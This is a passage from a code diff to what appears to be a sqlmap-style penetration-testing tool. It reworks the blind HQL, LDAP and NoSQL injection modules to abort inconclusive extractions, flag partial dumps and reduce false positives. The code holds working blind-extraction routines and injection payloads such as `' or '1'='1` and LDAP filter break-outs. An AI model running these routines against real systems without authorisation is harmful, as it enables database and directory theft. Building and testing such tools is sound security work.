predicate): fields.append(field) logger.info("identified mapped attribute: '%s'" % field) return fields @@ -335,36 +428,41 @@ def _scalar(entity, attrExpr, pin, after=None): def _inferValue(truth, entity, attribute, pin, after=None, maxLen=HQL_MAX_LENGTH): """Blindly recover one attribute value of the row selected by `pin`/`after`.""" - # length first, by binary search - lengthExpr = _scalar(entity, "LENGTH(CAST(_h.%s AS string))" % attribute, pin, after) - if not truth("%s>=1" % lengthExpr): - return "" - - lo, hi = 1, maxLen - while lo < hi: - mid = (lo + hi + 1) // 2 - if truth("%s>=%d" % (lengthExpr, mid)): - lo = mid - else: - hi = mid - 1 - length = lo - - chars = [] - for pos in xrange(1, length + 1): - # index of this character inside _CS_LITERAL, recovered by binary search - idxExpr = _scalar(entity, "LOCATE(SUBSTRING(CAST(_h.%s AS string),%d,1),'%s')" % (attribute, pos, _CS_LITERAL), pin, after) - if not truth("%s>=1" % idxExpr): - chars.append("?") - continue + try: + # length first, by binary search + lengthExpr = _scalar(entity, "LENGTH(CAST(_h.%s AS string))" % attribute, pin, after) + if not truth("%s>=1" % lengthExpr): + return "" - lo, hi = 1, len(_CS_LITERAL) + lo, hi = 1, maxLen while lo < hi: mid = (lo + hi + 1) // 2 - if truth("%s>=%d" % (idxExpr, mid)): + if truth("%s>=%d" % (lengthExpr, mid)): lo = mid else: hi = mid - 1 - chars.append(_CS_LITERAL[lo - 1]) + length = lo + + chars = [] + for pos in xrange(1, length + 1): + # index of this character inside _CS_LITERAL, recovered by binary search + idxExpr = _scalar(entity, "LOCATE(SUBSTRING(CAST(_h.%s AS string),%d,1),'%s')" % (attribute, pos, _CS_LITERAL), pin, after) + if not truth("%s>=1" % idxExpr): + chars.append("?") + continue + + lo, hi = 1, len(_CS_LITERAL) + while lo < hi: + mid = (lo + hi + 1) // 2 + if truth("%s>=%d" % (idxExpr, mid)): + lo = mid + else: + hi = mid - 1 + chars.append(_CS_LITERAL[lo - 1]) + except InconclusiveError: + # abort this value rather than emit a length/char chosen from an ambiguous bit + logger.warning("HQL extraction aborted for '%s.%s' (oracle inconclusive after retries)" % (entity, attribute)) + return None return "".join(chars) @@ -406,25 +504,42 @@ def _dumpEntity(oracle, place, parameter, entity): # advance the cursor; otherwise only the first (smallest-pin) row is recovered. rows = [] after = None + partial = False for _ in xrange(HQL_MAX_RECORDS): pinValue = _inferValue(oracle, entity, pin, pin, after) - if not pinValue: + if pinValue is None: + # None => the NEXT-row pin was INCONCLUSIVE (oracle aborted), NOT "no more rows". Stop, but + # flag the table PARTIAL rather than silently presenting it as the complete set. + partial = True + logger.warning("next-row pin for entity '%s' is inconclusive; the dumped table is PARTIAL" % entity) + break + if not pinValue: # "" => genuine end (no further row) break record = {pin: pinValue} for field in fields: if field != pin: - record[field] = _inferValue(oracle, entity, field, pin, after) + # None => extraction ABORTED for this cell (inconclusive oracle). Mark it visibly so it + # stays distinguishable from a genuine empty value - never silently blank. + cell = _inferValue(oracle, entity, field, pin, after) + record[field] = INCONCLUSIVE_MARK if cell is None else cell rows.append([record.get(_, "") for _ in fields]) logger.info(" retrieved record: %s" % ", ".join("%s='%s'" % (_, record.get(_, "")) for _ in fields)) if not re.match(r"\A\d+\Z", pinValue): + # a non-numeric pin (e.g. a UUID/string key) cannot advance the ascending cursor, so only + # the first row is recovered - flag the table PARTIAL rather than imply it is complete + if len(rows) == 1: + partial = True + logger.warning("entity '%s' pin '%s' is non-numeric; only the first row is enumerable (table is PARTIAL)" % (entity, pin)) break after = pinValue else: logger.warning("entity '%s' hit the HQL_MAX_RECORDS (%d) cap; some records may be omitted" % (entity, HQL_MAX_RECORDS)) + partial = True # a truncated cap is NOT a complete dump - conf.dumper.singleString("HQL: %s parameter '%s' entity '%s' (%d record%s, ordered by %s):\n%s" % (place, parameter, entity, len(rows), "s" if len(rows) != 1 else "", pin, _grid(columns, rows))) + completeness = ", PARTIAL - row enumeration aborted before the end" if partial else "" + conf.dumper.singleString("HQL: %s parameter '%s' entity '%s' (%d record%s%s, ordered by %s):\n%s" % (place, parameter, entity, len(rows), "s" if len(rows) != 1 else "", completeness, pin, _grid(columns, rows))) def hqlScan(): @@ -461,15 +576,36 @@ def hqlScan(): logger.info("%s parameter '%s' errors in the ORM parser but no boolean oracle was established" % (place, parameter)) continue - backend = backendHint or "Hibernate" + # CRITICAL: HQL compiles TO SQL, so a bare boolean break-out (`' or '1'='1`) is IDENTICAL + # to - and INDISTINGUISHABLE from - classic SQL injection. Claim HQL ONLY with positive + # ORM/Hibernate evidence: either a reflected parser diagnostic (_probeError) OR - when the + # app suppresses diagnostics - the HQL-only confirmation battery (_confirmHql: constructs + # valid in HQL/JPQL but rejected by plain SQL). Without either it is plain SQL injection and + # reporting it as HQL would be a false positive on every SQLi target. original = _originalValue(place, parameter) + if not backendHint: + if _confirmHql(place, parameter, boundary, original): + backendHint = "Hibernate (HQL/JPQL)" + logger.info("%s parameter '%s' confirmed HQL/JPQL via ORM-only constructs (no error leakage needed)" % (place, parameter)) + else: + logger.info("%s parameter '%s' yields a boolean oracle but shows no ORM/Hibernate evidence - indistinguishable from classic SQL injection; not reporting as HQL (re-run without '--hql' to test for SQLi)" % (place, parameter)) + continue + + backend = backendHint # Error leakage only helps when the app actually reflects diagnostics entity = _leakEntity(place, parameter, boundary, original) if backendHint else None - logger.info("%s parameter '%s' is vulnerable to HQL injection (back-end: '%s'%s)" % (place, parameter, backend, ", entity: '%s'" % entity if entity else "")) if conf.beep: beep() - oracle = _makeOracle(place, parameter, template, boundary, original) + oracle = _makeOracle(place, parameter, boundary, original) + if oracle is None: + # confirmed HQL, but the extraction true/false models are not reliably separable -> + # report the finding WITHOUT dumping (never fabricate entity/field data) + logger.info("%s parameter '%s' is vulnerable to HQL injection (back-end: '%s'%s); " + "extraction disabled (true/false models not reliably separable)" % (place, parameter, backend, ", entity: '%s'" % entity if entity else "")) + conf.dumper.singleString("---\nParameter: %s (%s)\n Type: HQL injection\n Title: HQL boolean-based blind (extraction unavailable)\n Payload: %s=%s\n---" % (parameter, place, parameter, payload)) + continue + logger.info("%s parameter '%s' is vulnerable to HQL injection (back-end: '%s'%s)" % (place, parameter, backend, ", entity: '%s'" % entity if entity else "")) slots.append(Slot(place=place, parameter=parameter, backend=backend, entity=entity, oracle=oracle, boundary=boundary, payload=payload)) diff --git a/lib/techniques/ldap/inject.py b/lib/techniques/ldap/inject.py index e433f4eb0bb..126b0c5f4cb 100644 --- a/lib/techniques/ldap/inject.py +++ b/lib/techniques/ldap/inject.py @@ -5,7 +5,6 @@ See the file 'LICENSE' for copying permission """ -import difflib import re import time @@ -18,6 +17,14 @@ from lib.core.data import logger from lib.core.enums import CUSTOM_LOGGING from lib.core.enums import PLACE +from lib.utils.nonsql import InconclusiveError +from lib.utils.nonsql import INCONCLUSIVE_MARK +from lib.utils.nonsql import userDecision +from lib.utils.nonsql import resolveBit +from lib.utils.nonsql import sqlErrorPresent +from lib.utils.nonsql import blockedStatus +from lib.utils.nonsql import ratio as _ratio +from lib.utils.nonsql import userOracleActive from lib.core.settings import LDAP_CHAR_MAX from lib.core.settings import LDAP_CHAR_MIN from lib.core.settings import LDAP_ERROR_REGEX @@ -32,6 +39,7 @@ SENTINEL = randomStr(length=10, lowercase=True) + # _send() below currently knows how to rebuild GET and POST-style parameter # strings. Cookie and URI delivery require separate per-place logic and should not # be advertised until implemented. @@ -104,8 +112,6 @@ Slot.__new__.__defaults__ = (None, None, None, None, None, None, None, None) -def _ratio(first, second): - return difflib.SequenceMatcher(None, first or "", second or "").quick_ratio() def _delim(place): @@ -162,17 +168,27 @@ def _send(place, parameter, value): if conf.verbose >= 3: logger.log(CUSTOM_LOGGING.PAYLOAD, payload) - page, _, _ = Request.getPage(**kwargs) + page, _, code = Request.getPage(**kwargs) + # a transport failure or a BLOCKED/ERROR status (5xx, 403/429 WAF/rate-limit) is not a usable + # oracle sample - signal None so `_boolean`/`extract` (which reject None) can't decide on it + if blockedStatus(code): + return None return page or "" except Exception as ex: logger.debug("LDAP probe request failed: %s" % getUnicode(ex)) - return "" + return None finally: conf.skipUrlEncode = skipUrlEncode def _isError(page): - return bool(re.search(LDAP_ERROR_REGEX, getUnicode(page or ""))) + # an LDAP error body OR a recognized SQL/DBMS error marks a response as NOT a valid boolean + # template. The SQL/DBMS check (reusing sqlmap's errors.xml via htmlParser + the generic + # `SQL (warning|error|syntax)` marker) is essential: an LDAP filter break-out like `1)(uid=*` + # trips a DBMS SYNTAX ERROR on a SQL-injectable parameter, and that error page merely differs + # from a normal page - which would otherwise fake a boolean oracle and misreport SQLi as LDAP. + page = getUnicode(page or "") + return bool(re.search(LDAP_ERROR_REGEX, page)) or sqlErrorPresent(page) def _backendFromError(page): @@ -180,7 +196,9 @@ def _backendFromError(page): for backend, regex in LDAP_ERROR_SIGNATURES: if re.search(regex, page): return backend - return "Generic LDAP" if _isError(page) else None + # ONLY a genuine LDAP error names a (generic) LDAP back-end - never a SQL/DBMS error (which + # _isError() also flags, so it can reject a faked oracle, but which must NOT be attributed to LDAP) + return "Generic LDAP" if re.search(LDAP_ERROR_REGEX, page) else None def _probeBackendByParserError(place, parameter): @@ -219,7 +237,16 @@ def _boolean(truthy, falsy): return None truePage2 = truthy() - if _ratio(truePage, truePage2) >= UPPER_RATIO_BOUND and _ratio(truePage, falsePage) < UPPER_RATIO_BOUND: + if _ratio(truePage, truePage2) < UPPER_RATIO_BOUND: # the TRUE side must independently reproduce + return None + if _ratio(falsePage, falsy()) < UPPER_RATIO_BOUND: # the FALSE side must independently reproduce too + return None + + # honor an explicit user oracle (--string/--not-string/--regexp) over raw similarity + if userOracleActive(): + return truePage if (userDecision(truePage) is True and userDecision(falsePage) is False) else None + + if _ratio(truePage, falsePage) < UPPER_RATIO_BOUND: # ... and true must differ from false return truePage return None @@ -229,24 +256,25 @@ def _detectBoolean(place, parameter): """Return (template, payload, breakout) for boolean-blind LDAPi.""" original = _originalValue(place, parameter) or "" - falsePayload = original + SENTINEL for breakout in LDAP_BREAKOUT_PREFIXES: for attr in LDAP_TAUTOLOGY_ATTRIBUTES: - # Open fragment by design. The application template supplies the tail. + # MATCHED controls: true and false share the SAME breakout, the SAME attribute and the + # SAME open-fragment shape - only the assertion's truth changes. `(attr=*` matches every + # directory entry; `(attr=` matches none. A diverging pair proves the value is + # parsed as an LDAP FILTER (the `)(...` escaped the surrounding filter), which a plain + # string search cannot reproduce. The old false control was a bare `original+SENTINEL` + # (an UNMATCHED ordinary string), so a validation layer or wildcard search could diverge + # for reasons unrelated to filter injection - a false positive. truePayload = "%s%s(%s=*" % (original, breakout, attr) + falsePayload = "%s%s(%s=%s" % (original, breakout, attr, SENTINEL) template = _boolean(lambda p=truePayload: _send(place, parameter, p), lambda p=falsePayload: _send(place, parameter, p)) if template: return template, truePayload, breakout - # Useful for auth/search bypass reporting, but not enough to synthesize - # arbitrary LDAP filters for enumeration. - if original: - template = _boolean(lambda: _send(place, parameter, "*"), - lambda: _send(place, parameter, SENTINEL)) - if template: - return template, "*", None + # NOTE: no bare `*`-vs-sentinel fallback. A wildcard returning more records is normal search + # behavior, not proof of an LDAP filter-boundary escape, and carries no breakout for extraction. return None, None, None @@ -377,44 +405,78 @@ def _compound(self, assertion, constraint=None, exclusions=None): return self.raw("%s(objectClass=%s*" % (compound, SENTINEL)) -def _makeOracle(place, parameter, template): +def _makeOracle(place, parameter, breakout): + """Build the extraction oracle by RECALIBRATING its true/false models on the SAME base + winning + breakout the extraction payloads use - the `_ProbeBuilder` leads every probe with SENTINEL, so + the models must too. A matched always-true filter `SENTINEL(objectClass=*` (objectClass + is on every entry) and a matched always-FALSE `SENTINEL(objectClass=` (no + entry has it) - same shape, only the assertion's truth changed. The old oracle compared SENTINEL- + based extraction payloads against an ORIGINAL-based detection template and a bare unreproduced + SENTINEL false page - a base/shape mismatch. Reproduce both, require separable, else None.""" + cache = {} def request(payload): + # cache ONLY usable responses - a cached transient failure would freeze a wrong bit forever if payload not in cache: - cache[payload] = _send(place, parameter, payload) + page = _send(place, parameter, payload) + if page and not _isError(page): + cache[payload] = page + return page return cache[payload] - falsePage = request(SENTINEL) + builder = _ProbeBuilder(breakout) + truePayload = builder.raw("(objectClass=*") + falsePayload = builder.raw("(objectClass=%s" % SENTINEL) + trueModel = request(truePayload) + falseModel = request(falsePayload) - def oracle(payload): - page = request(payload) - if not page or _isError(page): - return False - return _ratio(template, page) >= UPPER_RATIO_BOUND + if trueModel is None or falseModel is None or _isError(trueModel) or _isError(falseModel): + return None + if _ratio(trueModel, _send(place, parameter, truePayload)) < UPPER_RATIO_BOUND: # reproduce true + return None + if _ratio(falseModel, _send(place, parameter, falsePayload)) < UPPER_RATIO_BOUND: # reproduce false + return None + if _ratio(trueModel, falseModel) >= UPPER_RATIO_BOUND: # not separable -> can't extract reliably + return None def extract(payload): + # a positive bit (attribute-prefix match) must lean CLEARLY toward the recalibrated TRUE + # model over the matched FALSE model (shared 3-way classifier) - NOT merely "different from + # a bare sentinel page", which read a dynamic token / WAF body / transient exception as a + # match and fabricated LDAP values one character at a time. A transport failure / error is + # UNKNOWN (routed through resolveBit -> retry -> InconclusiveError), never a pre-decided False. page = request(payload) - if not page or _isError(page): - return False - return _ratio(falsePage, page) < UPPER_RATIO_BOUND + usable = page if (page and not _isError(page)) else None + + def fresh(): + p = _send(place, parameter, payload) + return None if (not p or _isError(p)) else p + return resolveBit(usable, trueModel, falseModel, fresh) + + def oracle(payload): + return extract(payload) oracle.extract = extract - oracle.template = template - oracle.falsePage = falsePage + oracle.template = trueModel + oracle.falsePage = falseModel oracle.cache = cache return oracle # Avoid LDAP metacharacters in blind character extraction. In real LDAP they can # be escaped, but many simple test harnesses decode them before wildcard handling, -# producing false positives. Transport-sensitive chars are allowed because -# _ldapLiteral() encodes them. -_META_ORDS = set(ord(_) for _ in ('*', '(', ')', '\\')) +# The filter metacharacters *, (, ), \ are INCLUDED in the extraction charset: `_ldapLiteral()` escapes +# each one (*->\2a, (->\28, )->\29, \->\5c) in the prefix probe, so they are matched as LITERAL bytes +# (no wildcard / no false positive) and a value like `CN=Smith\, John (Admin)` or `abc*def` is recovered +# in full instead of being truncated at the first metacharacter. They sit at the FREQUENCY TAIL (rare in +# real data), so common characters are still tried first. +_META_ORDS = set() _FREQ = (tuple(xrange(ord('a'), ord('z') + 1)) + tuple(xrange(ord('A'), ord('Z') + 1)) + tuple(xrange(ord('0'), ord('9') + 1)) + - tuple(ord(_) for _ in "@._-+ ")) + tuple(ord(_) for _ in "@._-+ ") + + tuple(ord(_) for _ in "*()\\")) # filter metacharacters (escaped by _ldapLiteral) _CHARSET = [] for _ in _FREQ: if LDAP_CHAR_MIN <= _ <= LDAP_CHAR_MAX and _ not in _META_ORDS and _ not in _CHARSET: @@ -428,33 +490,41 @@ def _exists(oracle, builder, attr, constraint=None, exclusions=None): return oracle.extract(builder.presence(attr, constraint=constraint, exclusions=exclusions)) -def _inferAttribute(oracle, builder, attr, constraint=None, exclusions=None, maxLen=LDAP_MAX_LENGTH): +def _inferAttribute(oracle, builder, attr, constraint=None, exclusions=None, maxLen=LDAP_MAX_LENGTH, strict=False): value = "" probes = 0 - for _ in xrange(maxLen): - found = False + try: + for _ in xrange(maxLen): + found = False - for cp in _CHARSET: - candidate = value + chr(cp) - probes += 1 + for cp in _CHARSET: + candidate = value + chr(cp) + probes += 1 - if oracle.extract(builder.prefix(attr, candidate, constraint=constraint, exclusions=exclusions)): - value = candidate - found = True - break + if oracle.extract(builder.prefix(attr, candidate, constraint=constraint, exclusions=exclusions)): + value = candidate + found = True + break - if not found: - break + if not found: + break - # Three or more consecutive trailing spaces never occur in real - # directory data. When the server-side LDAP-to-SQL translation - # (or equivalent) spuriously matches a trailing-space probe (e.g. - # mail=user@dom * matching user@dom), the extraction would - # otherwise chase an endless phantom suffix. Terminate and strip. - if value.endswith(" "): - value = value.rstrip() - break + # Three or more consecutive trailing spaces never occur in real + # directory data. When the server-side LDAP-to-SQL translation + # (or equivalent) spuriously matches a trailing-space probe (e.g. + # mail=user@dom * matching user@dom), the extraction would + # otherwise chase an endless phantom suffix. Terminate and strip. + if value.endswith(" "): + value = value.rstrip() + break + except InconclusiveError: + # a structural caller (entry-key enumeration) must SEE the abort to mark the dump partial - it + # is NOT end-of-data; a per-value caller instead gets None and renders an inconclusive marker + if strict: + raise + logger.warning("LDAP extraction aborted for attribute '%s' (oracle inconclusive after retries)" % attr) + return None logger.debug("LDAP blind inference: %d probes for attribute '%s' (length=%d)" % (probes, attr, len(value))) return value if value else None @@ -538,15 +608,24 @@ def _probeRootDSE(oracle, builder): def _enumerateEntryKeys(oracle, builder): for keyAttr in ENTRY_KEY_ATTRIBUTES: - if not _exists(oracle, builder, keyAttr): - continue + try: + if not _exists(oracle, builder, keyAttr): + continue + except InconclusiveError: + continue # existence unknown for this key attr -> try next - values = [] + values, partial = [], False while len(values) < LDAP_MAX_RECORDS: exclusions = [(keyAttr, _) for _ in values] - value = _inferAttribute(oracle, builder, keyAttr, exclusions=exclusions) + try: + # strict: an inconclusive NEXT-entry key probe is UNKNOWN, not the end of the directory + value = _inferAttribute(oracle, builder, keyAttr, exclusions=exclusions, strict=True) + except InconclusiveError: + partial = True + logger.warning("directory entry enumeration became inconclusive after %d entr%s; the dump is PARTIAL" % (len(values), "y" if len(values) == 1 else "ies")) + break - if not value or value in values: + if not value or value in values: # "" / repeat -> genuine end break values.append(value) @@ -555,13 +634,14 @@ def _enumerateEntryKeys(oracle, builder): if values: if len(values) >= LDAP_MAX_RECORDS: logger.warning("directory enumeration hit the LDAP_MAX_RECORDS (%d) cap; some entries may be omitted" % LDAP_MAX_RECORDS) - return keyAttr, values + partial = True # a truncated cap is NOT a complete dump + return keyAttr, values, partial - return None, [] + return None, [], False def _dumpEntries(oracle, builder, place, parameter): - keyAttr, keys = _enumerateEntryKeys(oracle, builder) + keyAttr, keys, partial = _enumerateEntryKeys(oracle, builder) if not keys: logger.warning("could not identify a stable directory entry key") return False @@ -579,21 +659,25 @@ def _dumpEntries(oracle, builder, place, parameter): continue logger.info("probing attribute '%s'" % attr) - if not _exists(oracle, builder, attr, constraint=constraint): - continue - + try: + if not _exists(oracle, builder, attr, constraint=constraint): + continue + except InconclusiveError: + continue # existence unknown -> skip this attribute + # an attribute confirmed to exist but whose value is inconclusive must show the marker, NOT + # be silently omitted (which would read as "attribute absent") value = _inferAttribute(oracle, builder, attr, constraint=constraint) - if value: - row[attr] = value - discovered.add(attr) + row[attr] = INCONCLUSIVE_MARK if value is None else value + discovered.add(attr) rows.append(row) columns = [keyAttr] + [_ for _ in DUMP_ATTRIBUTES if _ != keyAttr and _ in discovered] tableRows = [tuple(row.get(column, "") for column in columns) for row in rows] - logger.info("dumped %d entr%s" % (len(rows), "y" if len(rows) == 1 else "ies")) - _dumpTable("LDAP: %s parameter '%s' directory entries" % (place, parameter), columns, tableRows) + completeness = " (PARTIAL - entry enumeration aborted, oracle inconclusive)" if partial else "" + logger.info("dumped %d entr%s%s" % (len(rows), "y" if len(rows) == 1 else "ies", completeness)) + _dumpTable("LDAP: %s parameter '%s' directory entries%s" % (place, parameter, completeness), columns, tableRows) return True @@ -604,22 +688,20 @@ def _dumpMultiValues(oracle, builder, place, parameter): if not _exists(oracle, builder, attr): continue - # Multi-valued attributes (member, memberOf, ...) carry several values; - # walk them by excluding each recovered value from the next probe, exactly - # like _enumerateEntryKeys does for entry keys. - values = [] - while len(values) < LDAP_MAX_RECORDS: - exclusions = [(attr, _) for _ in values] - value = _inferAttribute(oracle, builder, attr, exclusions=exclusions) - if not value or value in values: - break - values.append(value) - - if values: - if len(values) >= LDAP_MAX_RECORDS: - logger.warning("attribute '%s' hit the LDAP_MAX_RECORDS (%d) cap; some values may be omitted" % (attr, LDAP_MAX_RECORDS)) - logger.info("fetched %d value%s from attribute '%s'" % (len(values), "" if len(values) == 1 else "s", attr)) - _dumpTable("LDAP: %s parameter '%s' '%s' values" % (place, parameter, attr), [attr], [(_,) for _ in values]) + # Multi-valued attributes (member, memberOf, uniqueMember) can hold several values in ONE entry. + # LDAP filters are ENTRY-scoped, so the intuitive "exclude each recovered value to get the next" + # walk is WRONG: (!(member=A)) excludes the whole ENTRY that holds member=A, so a second value of + # the SAME entry can never surface, and the probe may instead match a DIFFERENT entry that also + # carries the attribute - silently mixing entries while claiming a complete multi-value dump. + # Recovering one value per attribute and labelling it honestly is correct; true per-value + # enumeration needs a unique-entry binding or AD ranged retrieval (member;range=0-*), not + # negation. Report the single recovered value as exactly that. + value = _inferAttribute(oracle, builder, attr) + if value: + logger.info("recovered one matching value of multi-valued attribute '%s' " + "(full per-value enumeration is not proven over entry-scoped LDAP filters)" % attr) + _dumpTable("LDAP: %s parameter '%s' '%s' (one matching value, NOT full multi-value enumeration)" % (place, parameter, attr), + [attr], [(value,)]) dumped = True return dumped @@ -686,22 +768,28 @@ def ldapScan(): if template and breakout: found += 1 backend = backendHint or None - logger.info("%s parameter '%s' is vulnerable to LDAP injection (back-end: '%s')" % (place, parameter, backend or "Generic")) if conf.beep: beep() - oracle = _makeOracle(place, parameter, template) - slots.append(Slot(place=place, parameter=parameter, backend=backend, oracle=oracle, template=template, payload=payload, breakout=breakout)) + oracle = _makeOracle(place, parameter, breakout) + if oracle is None: + # detection confirmed, but the extraction true/false models are not reliably + # separable -> report the finding WITHOUT dumping (never fabricate directory data) + logger.info("%s parameter '%s' is vulnerable to LDAP injection (back-end: '%s'); " + "extraction disabled (true/false models not reliably separable)" % (place, parameter, backend or "Generic")) + conf.dumper.singleString("---\nParameter: %s (%s)\n Type: LDAP injection\n Title: LDAP boolean-based blind (extraction unavailable)\n Payload: %s\n---" % (parameter, place, payload)) + continue + logger.info("%s parameter '%s' is vulnerable to LDAP injection (back-end: '%s')" % (place, parameter, backend or "Generic")) + slots.append(Slot(place=place, parameter=parameter, backend=backend, oracle=oracle, template=oracle.template, payload=payload, breakout=breakout)) continue - # Phase 3: wildcard auth bypass (credential fields only). + # Phase 3: wildcard behavior on a credential field. A `*`-vs-random response difference is + # NOT a confirmed authentication bypass: it proves neither a query-boundary escape nor an + # authenticated-state transition (no redirect / session cookie / success-marker check here). + # Report it as INFORMATIONAL only - a confirmed bypass needs a real authenticated-state proof. bypass = _detectAuthBypass(place, parameter) if bypass: - found += 1 - logger.info("%s parameter '%s' allows LDAP wildcard auth bypass (password=*)" % (place, parameter)) - if conf.beep: - beep() - slots.append(Slot(place=place, parameter=parameter, bypass=bypass)) + logger.info("%s parameter '%s': wildcard '*' changes the response (possible LDAP filter influence / auth-bypass surface) - INFORMATIONAL, not a confirmed injection (no authenticated-state transition verified)" % (place, parameter)) continue # Parser-error alone is not exploitable -- log it but do not diff --git a/lib/techniques/nosql/inject.py b/lib/techniques/nosql/inject.py index 83909886cc7..6b41d349d60 100644 --- a/lib/techniques/nosql/inject.py +++ b/lib/techniques/nosql/inject.py @@ -5,7 +5,6 @@ See the file 'LICENSE' for copying permission """ -import difflib import json import re import time @@ -15,6 +14,15 @@ from lib.core.common import beep from lib.core.common import randomStr +from lib.core.convert import getUnicode +from lib.utils.nonsql import userDecision +from lib.utils.nonsql import sqlErrorPresent +from lib.utils.nonsql import blockedStatus +from lib.utils.nonsql import ratio as _ratio +from lib.utils.nonsql import userOracleActive +from lib.utils.nonsql import InconclusiveError +from lib.utils.nonsql import INCONCLUSIVE_MARK +from lib.utils.nonsql import resolveBit from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger @@ -39,8 +47,11 @@ # Maximum number of characters of in-band (reflected) data surfaced from an always-true response NOSQL_DUMP_LIMIT = 4096 -# Delivery shapes that can carry an injection into a back-end filter/query -NOSQL_PLACES = (PLACE.GET, PLACE.POST, PLACE.URI, PLACE.CUSTOM_POST, PLACE.COOKIE) +# Delivery shapes that can carry an injection into a back-end filter/query. PLACE.URI is intentionally +# NOT listed: `_send` has no path-segment mutation (it would route a URI point through the generic +# form/query serializer, corrupting the request), so advertising it would be a false promise. Add it +# back only alongside real URI-marker (`*`) path mutation through sqlmap's URI machinery. +NOSQL_PLACES = (PLACE.GET, PLACE.POST, PLACE.CUSTOM_POST, PLACE.COOKIE) # Lucene regexp metacharacters (Elasticsearch/Solr) requiring escaping in built patterns LUCENE_META = set('.?+*|(){}[]"\\/') @@ -63,15 +74,26 @@ # HTTP status of the most recent request issued by _send() (None when bypassed, e.g. under tests) _lastCode = None +# set by _isError() whenever a probe response carries a recognized SQL/DBMS error - a strong sign +# the parameter is plainly SQL-injectable (not NoSQL); surfaced as a hint when nothing NoSQL matches +_sqlErrorSeen = False + # Resolved injection vector. `template` is the always-true page for content-based blind extraction # (None for time-based/detection-only); `bypass` is the always-true payload reported as a login/filter # bypass; `truth` overrides the content oracle (e.g. a timing predicate for the $where time-based path); # `dump` is a callable returning (columns, rows) for a whole-document dump (server-side-JS key enumeration). -Vector = namedtuple("Vector", ("dbms", "fetch", "lengthValue", "charValue", "template", "bypass", "truth", "dump")) -Vector.__new__.__defaults__ = (None, None, None, None) +# `bound` records whether a whole-document dump is provably tied to ONE record (a unique-ish sibling +# constraint pins it, or the walk keys on a unique per-record id like a Neo4j node id). When False the +# recovered fields may come from DIFFERENT matching documents, so the output is labelled representative +# rather than presented as one coherent document. +# `falseModel` is the always-FALSE (never-match) page, calibrated alongside `template` (the always-true +# page). Content-based blind extraction classifies each bit RELATIVE to BOTH models (shared resolveBit), +# so an unrelated usable page (session-expired / CAPTCHA / soft-WAF / validation) leans to neither and is +# INCONCLUSIVE rather than a fabricated false bit. When a false model cannot be calibrated, content +# extraction is DISABLED for that vector (never silently one-sided). +Vector = namedtuple("Vector", ("dbms", "fetch", "lengthValue", "charValue", "template", "bypass", "truth", "dump", "bound", "falseModel")) +Vector.__new__.__defaults__ = (None, None, None, None, True, None) -def _ratio(first, second): - return difflib.SequenceMatcher(None, first or "", second or "").quick_ratio() def _encode(value): return _urllib.parse.quote(value, safe="") @@ -96,6 +118,181 @@ def _jsonKey(parameter): return parameter[len(prefix):] return parameter +# --- JSON / JSON-like lexical scanner ----------------------------------------------------------- +# These skips give the mutation locator a real tokenizer's states so a 'key:'-looking fragment inside +# a string, comment, backtick template, or regex literal is never mistaken for a property, and a +# '}'/']' inside any of those never closes an object/array value early. + +def _skipString(body, i): + """`body[i]` is an opening quote (", ' or `); return the index just past the closing quote.""" + q, n, j, esc = body[i], len(body), i + 1, False + while j < n: + c = body[j] + if esc: + esc = False + elif c == "\\": + esc = True + elif c == q: + return j + 1 + j += 1 + return n + + +def _skipComment(body, i): + """`body[i:i+2]` is `//` or `/*`; return the index just past the comment.""" + if body[i + 1] == "/": + j = body.find("\n", i) + return len(body) if j == -1 else j + 1 + j = body.find("*/", i + 2) + return len(body) if j == -1 else j + 2 + + +def _skipRegex(body, i): + """`body[i]` is `/` in a value position; return the index past the closing `/` AND any trailing + flag letters (e.g. `/abc/gi`) of a JS regex literal (honouring `[...]` character classes and + escapes), or None when it is not a regex (no close on the line). Consuming the flags matters: a + regex VALUE's span must cover `/abc/i` in full, else the mutation would leave a dangling `i`.""" + n, j, esc, inClass = len(body), i + 1, False, False + while j < n: + c = body[j] + if esc: + esc = False + elif c == "\\": + esc = True + elif c == "[": + inClass = True + elif c == "]": + inClass = False + elif c == "\n": + return None + elif c == "/" and not inClass: + j += 1 + while j < n and body[j].isalpha(): # consume trailing regex flags (g/i/m/s/u/y/...) + j += 1 + return j + j += 1 + return None + + +def _jsonValueSpan(body, pos): + """Given `pos` just after a property's ':', return the [start, end) span of its value token - a + quoted/backtick string, a regex literal, a balanced object/array, or a scalar - or None. Strings, + comments and regex literals inside an object/array value are skipped so a '}'/']'/quote/':' within + any of them does not close the token early.""" + n = len(body) + while pos < n and body[pos] in " \t\r\n": + pos += 1 + if pos >= n: + return None + c = body[pos] + if c in ('"', "'", "`"): + return (pos, _skipString(body, pos)) + if c == "/" and pos + 1 < n and body[pos + 1] not in "/*": # regex-literal value + end = _skipRegex(body, pos) + return (pos, end if end else pos + 1) + if c in "{[": + close = "}" if c == "{" else "]" + depth, j = 0, pos + while j < n: + cj = body[j] + if cj in ('"', "'", "`"): + j = _skipString(body, j) + continue + if cj == "/" and j + 1 < n and body[j + 1] in "/*": + j = _skipComment(body, j) + continue + if cj == "/" and j + 1 < n: # possible regex inside the value + r = _skipRegex(body, j) + if r: + j = r + continue + if cj == c: + depth += 1 + elif cj == close: + depth -= 1 + if depth == 0: + return (pos, j + 1) + j += 1 + return None + j = pos + while j < n and body[j] not in ",}] \t\r\n": + j += 1 + return (pos, j) + + +def _jsonLocateValues(body, key): + """Return the [start, end) value span of EVERY genuine property named `key`. A genuine property + name is a quoted or bareword token OUTSIDE strings, comments, backtick templates and regex literals, + followed by ':', so a 'key:'-looking fragment inside any of those is never matched (the reviewer's + `{"note":"name: x",...}` and `{pattern:/name: trap/,...}` cases). `prevSig` tracks the last + significant char so a '/' in value position is read as a regex literal rather than division.""" + n, i = len(body), 0 + prevSig = "{" # a key/value is expected at the start + spans = [] + while i < n: + c = body[i] + if c in " \t\r\n": + i += 1 + continue + if c == "/" and i + 1 < n and body[i + 1] in "/*": + i = _skipComment(body, i) + continue + if c == "/" and prevSig in ":,[{(=": # regex literal in value position -> skip it whole + r = _skipRegex(body, i) + if r: + prevSig = "/" + i = r + continue + if c in ('"', "'", "`"): + end = _skipString(body, i) + k = end + while k < n and body[k] in " \t\r\n": + k += 1 + # a quoted (not backtick) token immediately followed by ':' is a property name + if c in ('"', "'") and body[i + 1:end - 1] == key and k < n and body[k] == ":": + span = _jsonValueSpan(body, k + 1) + if span: + spans.append(span) + i = span[1] # continue past the value to find other occurrences + prevSig = "v" + continue + prevSig, i = c, end + continue + if c.isalpha() or c == "_": # a 